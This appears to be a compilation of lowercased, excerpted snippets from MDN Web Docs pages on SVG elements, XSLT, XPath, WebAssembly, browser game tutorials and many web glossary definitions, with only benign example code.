...lor, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, ari...
...uetext, role usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<svg>' in that specification.
<tref> - SVG: Scalable Vector Graphics
WebSVGElementtref
the textual content for a <text> svg element can be either character data directly embedded within the <text> element or the character data content of a referenced element, where the referencing is specified with a <tref> element.
... usage context categoriestext content element, text content child elementpermitted contentany number of the following elements, in any order:descriptive elements<animate>, <animatecolor>, <set> attributes global attributes conditional processing attributes core attributes graphical event attributes presentation attributes xlink attributes class style externalresourcesrequired specific attributes xlink:href dom interface this element implements the svgtrefelement interface.
... example <svg width="100%" height="100%" viewbox="0 0 1000 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <text id="referencedtext"> referenced character data </text> </defs> <text x="100" y="100" font-size="45" > inline character data </text> <text x="100" y="200" font-size="45" fill="red" > <tref xlink:href="#referencedtext"/> </text> <!-- show outline of canvas using 'rect' element --> <rect x="1" y="1" width="998" height="298" fill="none" stroke-width="2" /> </svg> specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font>' in that specification.
SVG 1.1 Support in Firefox - SVG: Scalable Vector Graphics
there is also a description of the mozilla support of the changes in svg 2.
... svgsvgelement unimplemented attributes: contentscripttype, contentstyletype, viewport, currentview unimplemented bindings: getintersectionlist, getenclosurelist, checkintersection, checkenclosure g implemented.
... conditional processing module switch implemented.
SVG Filters Tutorial - SVG: Scalable Vector Graphics
filters svg allows us to use similar tools as the bitmap description language such as the use of shadow, blur effects or even merging the results of different filters.
... with the filter element <filter> it is possible to add these effects and later on attach them to an object.
...instead we need to add more filter primitives which will produce the desire rendering.
SVG Tutorial - SVG: Scalable Vector Graphics
WebSVGTutorial
this tutorial aims to explain the internals of svg and is packed with technical details.
...if you're able, please help out by chipping in and writing a paragraph or two.
... introducing svg from scratch introduction getting started positions basic shapes paths fills and strokes gradients patterns texts basic transformations clipping and masking other content in svg filter effects svg fonts svg image tag tools for svg svg and css the following topics are more advanced and hence should get their own tutorials.
Weak signature algorithms - Web security
weaknesses in hash algorithms can lead to situations in which attackers can create or obtain fraudulent certificates.
... as new attacks are found and improvements in available technology make attacks more feasible, the use of older algorithms is discouraged and support for them is eventually removed.
...certificates employing more secure hash algorithms (such as sha-256 or sha-512) should be used instead.
HTML Imports - Web Components
obsolete since google chrome 73 this feature is obsolete.
...until there is a consensus on the standard or alternative mechanisms are worked out, you can use a polyfill such as google's webcomponents.js.
... html imports is intended to be the packaging mechanism for web components, but you can also use html imports by itself.
XPath snippets - XPath
anode.documentelement : anode.ownerdocument.documentelement); var result = xpe.evaluate(aexpr, anode, nsresolver, 0, null); var found = []; var res; while (res = result.iteratenext()) found.push(res); return found; } this function uses the new xpathevaluator() constructor, which is supported in firefox, chrome, opera and safari, but not in edge or internet explorer.
... scripts in a web document which might be accessed by edge or internet explorer users should replace the call to new xpathevaluator() with the following fragment: // xpathevaluator is implemented on objects that implement document var xpe = anode.ownerdocument || anode; in that case the creation of the xpathnsresolver can be simplified as: var nsresolver = xpe.creatensresolver(xpe.documentelement); note however that creatensresolver should only be used if you are sure the namespace prefixes in the xpath expression match those in the document you want to query (and that no default namespace is being used (though see document.creatensresolver for a workaround)).
...although walking the dom tree can achieve similar results, using xpath expressions is much quicker and more powerful.
<xsl:attribute-set> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:attribute-set> element creates a named set of attributes, which can then be applied as whole to the output document, in a manner similar to named styles in css.
...the names of the contributing sets must be separated with whitespace characters and must not directly or indirectly embed themselves.
... type top-level, must be the child of <xsl:stylesheet> or <xsl:transform>.
<xsl:output> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementoutput
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:output> element controls the characteristics of the output document.
... indent (not supported.) specifies if the output should be indented to indicate its hierarchic structure.
... type top-level, must be the child <xsl:stylesheet> or <xsl:transform>.
<xsl:sort> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementsort
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:sort> element defines a sort key for nodes selected by <xsl:apply-templates> or <xsl:for-each> and determines the order in which they are processed.
... lang specifies which language is to be used by the sort.
... type subinstruction, always appears as a child of <xsl:for-each>, where it must appear before the template proper or of <xsl:apply-templates>.
Advanced Example - XSLT: Extensible Stylesheet Language Transformations
the xslt file has a parameter called myorder that javascript sets to change the sorting method.
... // importnode is used to clone the nodes we want to process via xslt - true makes it do a deep clone var mynode = document.getelementbyid("example"); var clonednode = xmlref.importnode(mynode, true); // after cloning, we append xmlref.appendchild(clonednode); // set the sorting parameter in the xsl file var sortval = xsltprocessor.getparameter(null, "myorder"); if (sortval == "" || sortval == "descending") xsltprocessor.setparameter(null, "myorder", "ascending"); else xsltprocessor.setparameter(null, "myorder", "descending"); // initiate the transformation var fragment = xsltprocessor.transformtofragment(xmlref, ...
...document); // clear the contents document.getelementbyid("example").innerhtml = ""; mydom = fragment; // add the new content from the transformation document.getelementbyid("example").appendchild(fragment) } // xsl stylesheet: <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns="http://www.w3.org/1999/xhtml" xmlns:html="http://www.w3.org/1999/xhtml" xmlns:xsl="http://www.w3.org/1999/xsl/transform"> <xsl:output method="html" indent="yes" /> <xsl:param name="myorder" /> <xsl:template match="/"> <xsl:apply-templates select="/div//div"> <xsl:sort select="." data-type="number" order="{$myorder}" /> </xsl:apply-templates> </xsl:template> <xsl:template match="div"> <xsl:copy-of select="." /> </xsl:template> </xsl:stylesheet> ...
Compiling an Existing C Module to WebAssembly - WebAssembly
luckily, the canvas api has canvasrenderingcontext2d.getimagedata — that gives you an uint8clampedarray containing the image data in rgba: async function loadimage(src) { // load image const imgblob = await fetch(src).then(resp => resp.blob()); const img = await createimagebitmap(imgblob); // make canvas same size as image const canvas = document.createelement('canvas'); canvas.width = img.width; canvas.height = img.height; // draw image onto canvas const ctx = canvas.getcontext('2d'); ctx.drawimage(img, 0, 0); return ctx.getimagedata(0, 0, img.width, img.height); } now it's "only" a ma...
...llocated in the process: api.encode(p, image.width, image.height, 100); const resultpointer = api.get_result_pointer(); const resultsize = api.get_result_size(); const resultview = new uint8array(module.heap8.buffer, resultpointer, resultsize); const result = new uint8array(resultview); api.free_result(resultpointer); note: new uint8array(somebuffer) will create a new view onto the same memory chunk, while new uint8array(sometypedarray) will copy the data.
...to prove that it worked, turn your result buffer into a blob and use it on an <img> element: const blob = new blob([result], {type: 'image/webp'}); const bloburl = url.createobjecturl(blob); const img = document.createelement('img'); img.src = bloburl; document.body.appendchild(img) behold, the glory of a new webp image.
bootstrap.js - Extensions
the bootstrap.js script should contain several specific functions, which are called by the browser to manage the extension.
... the script gets executed in a privileged sandbox, which is cached until the extension is shut down.
2D collision detection - Game development
this article provides a review of the most common techniques used to provide collision detection in 2d games.
... narrow phase when you have a small list of entities to check you will want to use a narrow phase algorithm (like the ones listed above) to provide a certain answer as to whether there is a collision or not.
Track the score and win - Game development
to award a score each time a brick is hit, add a line to the collisiondetection() function to increment the value of the score variable each time a collision is detected.
... > b.x && x < b.x+brickwidth && y > b.y && y < b.y+brickheight) { dy = -dy; b.status = 0; score++; if(score == brickrowcount*brickcolumncount) { alert("you win, congratulations!"); document.location.reload(); clearinterval(interval); // needed for chrome to end game } } } } } } thanks to this, your users can actually win the game when they destroy all the bricks, which is quite important when it comes to games.
2D breakout game using pure JavaScript - Game development
you will learn the basics of using the <canvas> element to implement fundamental game mechanics like rendering and moving images, collision detection, control mechanisms, and winning and losing states.
...head to the first chapter— create the canvas and draw on it.
Load the assets and print them on screen - Game development
the purpose of the tutorial is to teach phaser-specific approaches to game development rather than dwelling on subjective best approaches.
... compare your code you can check the finished code for this lesson for yourself in the live demo below, and play with it to better understand how it works: next steps printing out the ball was easy; next, we'll try moving the ball on screen.
The score - Game development
this can be done using the settext() method — add the two new lines seen below to the ballhitbrick() function: function ballhitbrick(ball, brick) { brick.kill(); score += 10; scoretext.settext('points: '+score); } that's it for now — reload your index.html and check that the score updates on every brick hit.
... compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps we now have a scoring system, but what's the point of playing and keeping score if you can't win?
Win the game - Game development
add the following new code into your ballhitbrick() function: function ballhitbrick(ball, brick) { brick.kill(); score += 10; scoretext.settext('points: '+score); var count_alive = 0; for (i = 0; i < bricks.children.length; i++) { if (bricks.children[i].alive == true) { count_alive++; } } if (count_alive == 0) { alert('you won the game, congratulations!'); location.reload(); } } we loop through the bricks in the group using bricks.children, checking for the aliveness of each with each brick's .alive() method.
... compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps both losing and winning are implemented, so the core gameplay of our game is finished.
2D breakout game using Phaser - Game development
you will learn the basics of using the phaser framework to implement fundamental game mechanics like rendering and moving images, collision detection, control mechanisms, framework-specific helper functions, animations and tweens, and winning and losing states.
... after that, you can pick any framework you like and use it for your projects; we have chosen phaser as it is a good solid framework, with a good support and community available, and a good set of plugins.
502 - MDN Web Docs Glossary: Definitions of Web-related terms
furnishes no response to the gateway/proxy), but simply does not understand the same data-exchange protocol as the gateway/proxy.
... internet protocols are quite explicit, and so a 502 usually means that one or both machines were incorrectly or incompletely programmed.
Accessibility tree (AOM) - MDN Web Docs Glossary: Definitions of Web-related terms
browsers then create an accessibility tree based on the dom tree, which is used by platform-specific accessibility apis for assistive technologies, such as screen readers.
...think checked/unchecked for checkboxes, or collapsed/expanded for the <summary> element.
ARIA - MDN Web Docs Glossary: Definitions of Web-related terms
aria (accessible rich internet applications) is a w3c specification for adding semantics and other metadata to html to cater to users of assistive technology.
... for example, you could add the attribute role="alert" to a <p> tag to notify a sight-challenged user that the information is important and time-sensitive (which you might otherwise convey through text color).
Abstraction - MDN Web Docs Glossary: Definitions of Web-related terms
it hides the technical complexity of systems behind simpler apis.
... can change internal implementation of class independently without affecting the user.
Accessibility - MDN Web Docs Glossary: Definitions of Web-related terms
web accessibility (a11y) refers to best practices for keeping a website usable despite physical and technical restrictions.
... learn more general knowledge accessibility resources at mdn web accessibility on wikipedia learn web accessibility learn accessibility on mdn web accessibility in mind technical reference the aria documentation on mdn the web accessibility initiative homepage the wai-aria recommendation ...
Attribute - MDN Web Docs Glossary: Definitions of Web-related terms
an attribute extends an element, changing its behavior or providing metadata.
... <input required> <!-- is the same as… --> <input required=""> <!-- or --> <input required="required"> learn more technical reference html attribute reference information about html's global attributes ...
Blink - MDN Web Docs Glossary: Definitions of Web-related terms
blink is an open-source browser layout engine developed by google as part of chromium (and therefore part of chrome as well).
... specifically, blink began as a fork of the webcore library in webkit, which handles layout, rendering, and dom, but now stands on its own as a separate rendering engine.
Block cipher mode of operation - MDN Web Docs Glossary: Definitions of Web-related terms
the size of each block is fixed and determined by the algorithm: for example aes uses 16-byte blocks.
... block ciphers are always used with a mode, which specifies how to securely encrypt messages that are longer than the block size.
Boolean - MDN Web Docs Glossary: Definitions of Web-related terms
for example, in javascript, boolean conditionals are often used to decide which sections of code to execute (such as in if statements) or repeat (such as in for loops).
... learn more general knowledge boolean on wikipedia technical reference the javascript global object: boolean javascript data types and data structures ...
Browsing context - MDN Web Docs Glossary: Definitions of Web-related terms
each browsing context has a specific origin, the origin of the active document and a history that memorize all the displayed documents, in order.
...between browsing context of the same origin, a broadcastchannel can be opened and used.
CDN - MDN Web Docs Glossary: Definitions of Web-related terms
these servers store duplicate copies of data so that servers can fulfill data requests based on which servers are closest to the respective end-users.
... cdns are already configured with proper cache settings.
CORS-safelisted response header - MDN Web Docs Glossary: Definitions of Web-related terms
a cors-safelisted response header is an http header which has been safelisted so that it will not be filtered when responses are processed by cors, since they're considered safe (as the headers listed in access-control-expose-headers).
... by default, the safelist includes the following response headers: cache-control content-language content-type expires last-modified pragma examples extending the safelist you can extend the list of cors-safelisted response headers by using the access-control-expose-headers header: access-control-expose-headers: x-custom-header, content-length ...
Canvas - MDN Web Docs Glossary: Definitions of Web-related terms
it provides an empty graphic zone on which specific javascript apis can draw (such as canvas 2d or webgl).
... learn more general knowledge canvas on wikipedia learning resources the canvas tutorial on mdn technical information the html <canvas> element on mdn the canvas general documentation on mdn canvasrenderingcontext2d: the canvas 2d drawing api the canvas 2d api specification ...
Card sorting - MDN Web Docs Glossary: Definitions of Web-related terms
card sorting is a simple technique used in information architecture whereby people involved in the design of a website (or other type of product) are invited to write down the content / services / features they feel the product should contain, and then organize those features into categories or groupings.
... this can be used for example to work out what should go on each page of a website.
Cipher suite - MDN Web Docs Glossary: Definitions of Web-related terms
a cipher suite is a combination of a key exchange algorithm, authentication method, bulk encryption cipher, and message authentication code.
... a typical cipher suite looks like ecdhe_rsa_with_aes_128_gcm_sha256 or ecdhe-rsa-aes128-gcm-sha256, indicating: ecdhe (elliptic curve diffie-hellman ephemeral) for key exchange rsa for authentication aes-128 as the cipher, with galois/counter mode (gcm) as the block cipher mode of operation sha-256 as the hash-based message authentication code (hmac) learn more mozilla recommended cipher suite choices for tls ...
Class - MDN Web Docs Glossary: Definitions of Web-related terms
in object-oriented programming, a class defines an object's characteristics.
... class is a template definition of an object's properties and methods, the "blueprint" from which other more specific instances of the object are drawn.
Closure - MDN Web Docs Glossary: Definitions of Web-related terms
the binding which defines the scope of execution.
... learn more general knowledge closure on wikipedia technical reference closure on mdn ...
Code splitting - MDN Web Docs Glossary: Definitions of Web-related terms
code splitting is the splitting of code into various bundles or components which can then be loaded on demand or in parallel.
... code splitting is a feature supported by bundlers like webpack and browserify which can create multiple bundles that can be dynamically loaded at runtime.
Codec - MDN Web Docs Glossary: Definitions of Web-related terms
a given codec knows how to handle a specific encoding or compression technology.
... learn more general knowledge codec on wikipedia technical reference web video codec guide web audio codec guide guide to media types and formats on the web ...
Computer Programming - MDN Web Docs Glossary: Definitions of Web-related terms
these tell a computer/software program what to do in a language which the computer understands.
... these instructions come in the form of many different languages such as c++, java, javascript, html, python, ruby, and rust.
Crawler - MDN Web Docs Glossary: Definitions of Web-related terms
a web crawler is a program, often called a bot or robot, which systematically browses the web to collect data from webpages.
... typically search engines (e.g.
Cryptanalysis - MDN Web Docs Glossary: Definitions of Web-related terms
cryptanalysis is the branch of cryptography that studies how to break codes and cryptosystems.
... cryptanalysis creates techniques to break ciphers, in particular by methods more efficient than a brute-force search.
DOM (Document Object Model) - MDN Web Docs Glossary: Definitions of Web-related terms
the dom is a document model loaded in the browser and representing the document as a node tree, where each node represents part of the document (e.g.
...nodes can be created, moved and changed.
DoS attack - MDN Web Docs Glossary: Definitions of Web-related terms
a dos attack consists of various techniques to exhaust these resources and make a server or a network unavailable to legitimate users, or at least make the server perform sluggishly.
... there are also distributed denial of service (ddos) attacks in which a multitude of servers are used to exhaust the computing capacity of an attacked computer.
Decryption - MDN Web Docs Glossary: Definitions of Web-related terms
how hard depends on the security of the cryptographic algorithm chosen and evolves with the progress of cryptanalysis.
... learn more technical reference encryption and decryption ...
Denial of Service - MDN Web Docs Glossary: Definitions of Web-related terms
a dos attack consists of various techniques to exhaust these resources and make a server or a network unavailable to legitimate users, or at least make the server perform sluggishly.
... there are also distributed denial of service (ddos) attacks in which a multitude of servers are used to exhaust the computing capacity of an attacked computer.
Descriptor (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
a css descriptor defines the characteristics of an at-rule.
...each descriptor has: a name a value, which holds the component values an "!important" flag, which in its default state is unset ...
Doctype - MDN Web Docs Glossary: Definitions of Web-related terms
its sole purpose is to prevent a browser from switching into so-called “quirks mode” when rendering a document; that is, the "<!doctype html>" doctype ensures that the browser makes a best-effort attempt at following the relevant specifications, rather than using a different rendering mode that is incompatible with some specifications.
... learn more general knowledge definition of the doctype in the html specification quirks mode and standards mode technical reference document.doctype, a javascript method that returns the doctype ...
Domain name - MDN Web Docs Glossary: Definitions of Web-related terms
domain names are used in urls to identify to which server belong a specific webpage.
... the domain name consists of a hierarchial sequence of names (labels) separated by periods (dots) and ending with an extension.
ECMA - MDN Web Docs Glossary: Definitions of Web-related terms
on the web it is famous for being the organization which maintain the ecma-262 specification (aka.
... ecmascript) which is the core specification for the javascript language.
Effective connection type - MDN Web Docs Glossary: Definitions of Web-related terms
table of effective connection types ect minimum rtt maximum downlink explanation slow-2g 2000ms 50 kbps the network is suited for small transfers only such as text-only pages.
... 3g 270ms 700 kbps the network is suited for transfers of large assets such as high resolution images, audio, and sd video.
Empty element - MDN Web Docs Glossary: Definitions of Web-related terms
an empty element is an element from html, svg, or mathml that cannot have any child nodes (i.e., nested elements or text nodes).
... the html, svg, and mathml specifications define very precisely what each element can contain.
Endianness - MDN Web Docs Glossary: Definitions of Web-related terms
each memory storage location has an index or address.
...by far the most common ordering of multiple bytes in one number is the little-endian, which is used on all intel processors.
Entity header - MDN Web Docs Glossary: Definitions of Web-related terms
even if they are neither request, nor response headers, entity headers are often included in such terms.
... a few request headers after a get request: in the following example, content-length is an entity header, while host and user-agent are requests headers: post /myform.html http/1.1 host: developer.mozilla.org user-agent: mozilla/5.0 (macintosh; intel mac os x 10.9; rv:50.0) gecko/20100101 firefox/50.0 content-length: 128 learn more technical knowledge list of all http headers ...
Falsy - MDN Web Docs Glossary: Definitions of Web-related terms
javascript uses type conversion to coerce any value to a boolean in contexts that require it, such as conditionals and loops.
... examples examples of falsy values in javascript (which are coerced to false in boolean contexts, and thus bypass the if block): if (false) if (null) if (undefined) if (0) if (-0) if (0n) if (nan) if ("") the logical and operator, && if the first object is falsy, it returns that object false && "dog" // ↪ false 0 && "dog" // ↪ 0 specifications specification ecmascript (ecma-262)the definition of 'toboolean abstract o...
Flex Container - MDN Web Docs Glossary: Definitions of Web-related terms
this element then becomes a flex container, and each one of its children becomes a flex item.
...these values create a flex formatting context for the element, which is similar to a block formatting context in that floats will not intrude into the container, and the margins on the container will not collapse with those of the items.
Fork - MDN Web Docs Glossary: Definitions of Web-related terms
basically, if the license of the original software allows, you can copy the code to develop your own version of it, with your own additions, which will be a "fork".
... learn more various "well-known" forks linux distributions node.js and io.js (which have been merged together back) libreoffice, a fork of openoffice ...
Gaia - MDN Web Docs Glossary: Definitions of Web-related terms
gaia is implemented entirely with html, css, and javascript, and its only interfaces to the underlying operating system are through open web apis, which the gecko layer implements.
... learn more technical reference gaia platform guide gaia development/hacking guide ...
Gecko - MDN Web Docs Glossary: Definitions of Web-related terms
this means that gecko includes, among other things, a networking stack, graphics stack, layout engine, a javascript virtual machine, and porting layers.
... learn more general knowledge gecko on wikipedia technical reference the gecko documentation on mdn ...
Global object - MDN Web Docs Glossary: Definitions of Web-related terms
(in node.js this is not the case.) the global object's interface depends on the execution context in which the script is running.
... for example: in a web browser, any code which the script doesn't specifically start up as a background task has a window as its global object.
Graceful degradation - MDN Web Docs Glossary: Definitions of Web-related terms
it is a useful technique that allows web developers to focus on developing the best possible websites, given that those websites are accessed by multiple unknown user-agents.
...in reality both approaches are valid and can often complement one another.
Grid Axis - MDN Web Docs Glossary: Definitions of Web-related terms
the inline or row axis runs across the block axis and is the direction along which regular text flows.
... the physical direction of these axes can change according to the writing mode of the document.
Grid Cell - MDN Web Docs Glossary: Definitions of Web-related terms
it is the space between four intersecting grid lines and conceptually much like a table cell.
... if you do not place items using one of the grid placement methods, direct children of the grid container will be placed one into each individual grid cell by the auto-placement algorithm.
Grid container - MDN Web Docs Glossary: Definitions of Web-related terms
using the value grid or inline-grid on an element turns it into a grid container using css grid layout, and any direct children of this element become grid items.
...the direct children can now lay themselves out on any explicit grid defined using grid-template-columns and grid-template-rows, or on the implicit grid created when an item is placed outside of the explicit grid.
HTTP/2 - MDN Web Docs Glossary: Definitions of Web-related terms
all the core concepts found in http 1.1, such as http methods, status codes, uris, and header fields, remain in place.
... instead, http/2 modifies how the data is formatted (framed) and transported between the client and server, both of which manage the entire process, and hides application complexity within the new framing layer.
HTTP header - MDN Web Docs Glossary: Definitions of Web-related terms
request header: headers containing more information about the resource to be fetched or about the client itself.
... a basic request with one header: get /example.http http/1.1 host: example.com redirects have mandatory headers (location): 302 found location: /newpage.html a typical set of headers: 304 not modified access-control-allow-origin: * age: 2318192 cache-control: public, max-age=315360000 connection: keep-alive date: mon, 18 jul 2016 16:06:00 gmt server: apache vary: accept-encoding via: 1.1 3dc30c7222755f86e824b93feb8b5b8c.cloudfront.net (cloudfront) x-amz-cf-id: tol0fem6ui4fgldrkjx0vao5hpkkgzulyn2twd2gawltr7vlnjtvzw== x-backend-server: developer6.webapp.scl3.mozilla.com x-cache: hit from cloudfront x-cache-info: cached ...
Host - MDN Web Docs Glossary: Definitions of Web-related terms
it can be generated by virtual machines.
... the host generated by virtual machines is called "virtual hosting".
ICE - MDN Web Docs Glossary: Definitions of Web-related terms
ice (interactive connectivity establishment) is a framework used by webrtc (among other technologies) for connecting two peers, regardless of network topology (usually for audio and video chat).
...—and only this case—a stun server is used to find the network-facing address of a peer) direct tcp connection, via the http port direct tcp connection, via the https port indirect connection via a relay/turn server (if a direct connection fails, e.g., if one peer is behind a firewall that blocks nat traversal) learn more general knowledge webrtc, the principal web-related protocol which uses ice webrtc protocols technical reference rfc 5245, the ietf specification for ice rtcicecandidate, the interface representing a ice candidate ...
IDL - MDN Web Docs Glossary: Definitions of Web-related terms
idl attributes can reflect other types such as unsigned long, urls, booleans, etc.
... learn more general knowledge idl on wikipedia html attribute reference technical reference interface definition language ...
IPv4 - MDN Web Docs Glossary: Definitions of Web-related terms
ipv4 is a connectionless protocol to be used on packet-switched link layer networks (ethernet).
...(version number 5 was assigned in 1979 to the experimental internet stream protocol, which however has never been called ipv5.) learn more general knowledge ipv4 on wikipedia ...
IRC - MDN Web Docs Glossary: Definitions of Web-related terms
irc (internet relay chat) is a worldwide chat system requiring an internet connection and an irc client, which sends and receives messages via the irc server.
...the irc server broadcasts messages to everyone connected to one of many irc channels (each with their own id).
ITU - MDN Web Docs Glossary: Definitions of Web-related terms
from defining rules for ensuring transmissions get to where they need to go to and creating the "sos" alert signal used in morse code, the itu has long played a key role in how we use technology to exchange information and ideas.
...for example, the itu and the moving picture experts group (mpeg) worked together to develop and publish, as well as to maintain, the various mpeg specifications, such as mpeg-2 (itu h.262), avc (itu h.264), and hevc (itu h.265).
Immutable - MDN Web Docs Glossary: Definitions of Web-related terms
an immutable object is one whose content cannot be changed.
... an object can be immutable for various reasons, for example: to improve performance (no planning for the object's future changes) to reduce memory use (make object references instead of cloning the whole object) thread-safety (multiple threads can reference the same object without interfering with one other) learn more general knowledge immutable on wikipedia ...
Inheritance - MDN Web Docs Glossary: Definitions of Web-related terms
as an app developer, you can choose which of the superclass's attributes and methods to keep and add your own, making class definition very flexible.
... learn more learn about it inheritance and the prototype chain ...
Java - MDN Web Docs Glossary: Definitions of Web-related terms
programs are compiled only once ahead of time into a proprietary byte code and package format that runs inside the java virtual machine (jvm).
... the jvm is available across many platforms, which allows java programs to run almost everywhere without the need to be compiled or packaged again.
Ligature - MDN Web Docs Glossary: Definitions of Web-related terms
a ligature is a joining of two characters into one shape.
... for example, in french "œ" is a ligature of "oe".
Localization - MDN Web Docs Glossary: Definitions of Web-related terms
language unit of measure (e.g., kilometers in europe, miles in u.s.) text direction (e.g., european languages are left-to-right, arabic right-to-left) capitalization in latin script (e.g., english uses capitals for weekdays, spanish uses lowercase) adaptation of idioms (e.g., "raining cats and dogs" makes no sense when translated literally) use of register (e.g., in japanese respectful speech differs exceptionally from casual speech) number format (e.g., 10 000,00 in germany vs.
... 10,000.00 in the u.s.) date format currency cultural references paper size color psychology compliance with local laws local holidays personal names learn more general knowledge localization at mozilla on mdn localization on wikipedia ...
Main Axis - MDN Web Docs Glossary: Definitions of Web-related terms
these are: row row-reverse column column-reverse should you choose row or row-reverse then your main axis will run along the row in the inline direction.
... choose column or column-reverse and your main axis will run top to bottom of the page in the block direction.
Media - MDN Web Docs Glossary: Definitions of Web-related terms
media (audio-visual presentation) the term media (more accurately, multimedia) refers to audio, video, or combined audio-visual material such as music, recorded speech, movies, tv shows, or any other form of content that is presented over a period of time.
... media (css) in the context of css (cascading style sheets), the term media refers to the destination to which the document is to be drawn by the rendering engine.
Microsoft Internet Explorer - MDN Web Docs Glossary: Definitions of Web-related terms
by around 2002, internet explorer had become the most used browser in the world, but has since lost ground to chrome, firefox, edge, and safari.
...a internet explorer versions on wikipedia learning about internet explorer http://windows.microsoft.com/en-us/internet-explorer/download-ie http://windows.microsoft.com/en-us/windows7/getting-started-with-internet-explorer-9 http://windows.microsoft.com/en-us/internet-explorer/internet-explorer-help http://windows.microsoft.com/en-us/internet-explorer/make-ie-default-browser#ie=ie-11 technical reference http://windows.microsoft.com/en-us/internet-explorer/products/ie-8/system-requirements http://windows.microsoft.com/en-us/internet-explorer/products/ie-9/system-requirements http://support.microsoft.com/kb/969393 ...
Mixin - MDN Web Docs Glossary: Definitions of Web-related terms
a mixin is a class or interface in which some or all of its methods and/or properties are unimplemented, requiring that another class or interface provide the missing implementations.
... the advantage of mixins is that they can be used to simplify the design of apis in which multiple interfaces need to include the same methods and properties.
Mutable - MDN Web Docs Glossary: Definitions of Web-related terms
mutable is a type of variable that can be changed.
... immutables are the objects whose state cannot be changed once the object is created.
NAT - MDN Web Docs Glossary: Definitions of Web-related terms
nat (network address translation) is a technique for letting multiple computers share an ip address.
... nat assigns unique addresses to each computer on the local network and adjusts incoming/outgoing network traffic to send data to the right place.
Network throttling - MDN Web Docs Glossary: Definitions of Web-related terms
as a developer, tech writer, or designer, this is likely your experience.
...most browser developer tools, such as the browser inspector, provide a function to emulate different network conditions.
Operator - MDN Web Docs Glossary: Definitions of Web-related terms
reserved syntax consisting of punctuation or alphanumeric characters that carries out built-in functionality.
... learn more general knowledge operator (computer programming) on wikipedia technical reference javascript operators ...
PAC - MDN Web Docs Glossary: Definitions of Web-related terms
a proxy auto-configuration file (pac file) is a file which contains a function, findproxyforurl(), which is used by the browser to determine whether requests (including http, https, and ftp) should go directly to the destination or if they need to be forwarded through a web proxy server.
... learn more general knowledge pac on wikipedia technical reference proxy auto-configuration file on mdn ...
Parse - MDN Web Docs Glossary: Definitions of Web-related terms
when the html parser finds non-blocking resources, such as an image, the browser will request those resources and continue parsing.
... javascript parsing is done during compile time or whenever the parser is invoked, such as during a call to a method.
Polyfill - MDN Web Docs Glossary: Definitions of Web-related terms
although this reason for polyfilling is very rare today, it was especially prevalent back in the days of ie6, netscape, and nnav where each browser implemented javascript very differently.
...at the time, javascript developers were grasping at straws trying to get their website to work across all devices because there was such a discrepancy between browsers that the website might have to be programmed radically differently and have a much different user interface based upon the user's browser.
Port - MDN Web Docs Glossary: Definitions of Web-related terms
ports are designated by numbers, and below 1024 each port is associated by default with a specific protocol.
...each internet protocol is associated with a default port: smtp (25), pop3 (110), imap (143), irc (194), and so on.
Progressive Enhancement - MDN Web Docs Glossary: Definitions of Web-related terms
progressive enhancement is a useful technique that allows web developers to focus on developing the best possible websites while making those websites work on multiple unknown user agents.
...in reality both approaches are valid and can often complement one another.
Promise - MDN Web Docs Glossary: Definitions of Web-related terms
when the called function finishes its work asynchronously, a function on the promise object called a resolution (or fulfillment, or completion) handler is called to let the original caller know that the task is complete.
... general knowledge futures and promises technical reference promise in the javascript reference.
Pseudo-element - MDN Web Docs Glossary: Definitions of Web-related terms
for example, rather than putting the first letter of each paragraph in its own element, you can style them all with p::first-letter.
... learn more technical reference pseudo-elements ...
Public-key cryptography - MDN Web Docs Glossary: Definitions of Web-related terms
public-key cryptography — or asymmetric cryptography — is a cryptographic system in which keys come in pairs.
...however, they are typically much slower than symmetric algorithms and the size of message they can encrypt is proportional to the size of the key, so they do not scale well for long messages.
QUIC - MDN Web Docs Glossary: Definitions of Web-related terms
as tcp is built into the kernel of many operating systems being able to experiment with changes, test them and implement modifications is an extremely slow process.
... resources chromium projects documentation ietf draft see also http/2 ...
RDF - MDN Web Docs Glossary: Definitions of Web-related terms
rdf (resource description framework) is a language developed by w3c for representing information on the world wide web, such as webpages.
... rdf provides a standard way of encoding resource information so that it can be exchanged in a fully automated way between applications.
REST - MDN Web Docs Glossary: Definitions of Web-related terms
rest(representational state transfer) refers to a group of software architecture design constraints that bring about efficient, reliable and scalable distributed systems.
... learn about it restapitutorial.com restcookbook.com general knowledge rest on wikipedia rest architecture ...
RIL - MDN Web Docs Glossary: Definitions of Web-related terms
ril (radio interface layer) is a mobile operating system component which communicates between the device's software and the device's phone, radio, or modem hardware.
... learn more general knowledge radio interface layer on wikipedia technical reference firefox os architecture: the userspace process architecture ...
RSS - MDN Web Docs Glossary: Definitions of Web-related terms
when you subscribe to a website's rss feed, the website sends information and updates to your rss reader in an rss document called a feed, so you don't need to check all your favorite websites manually.
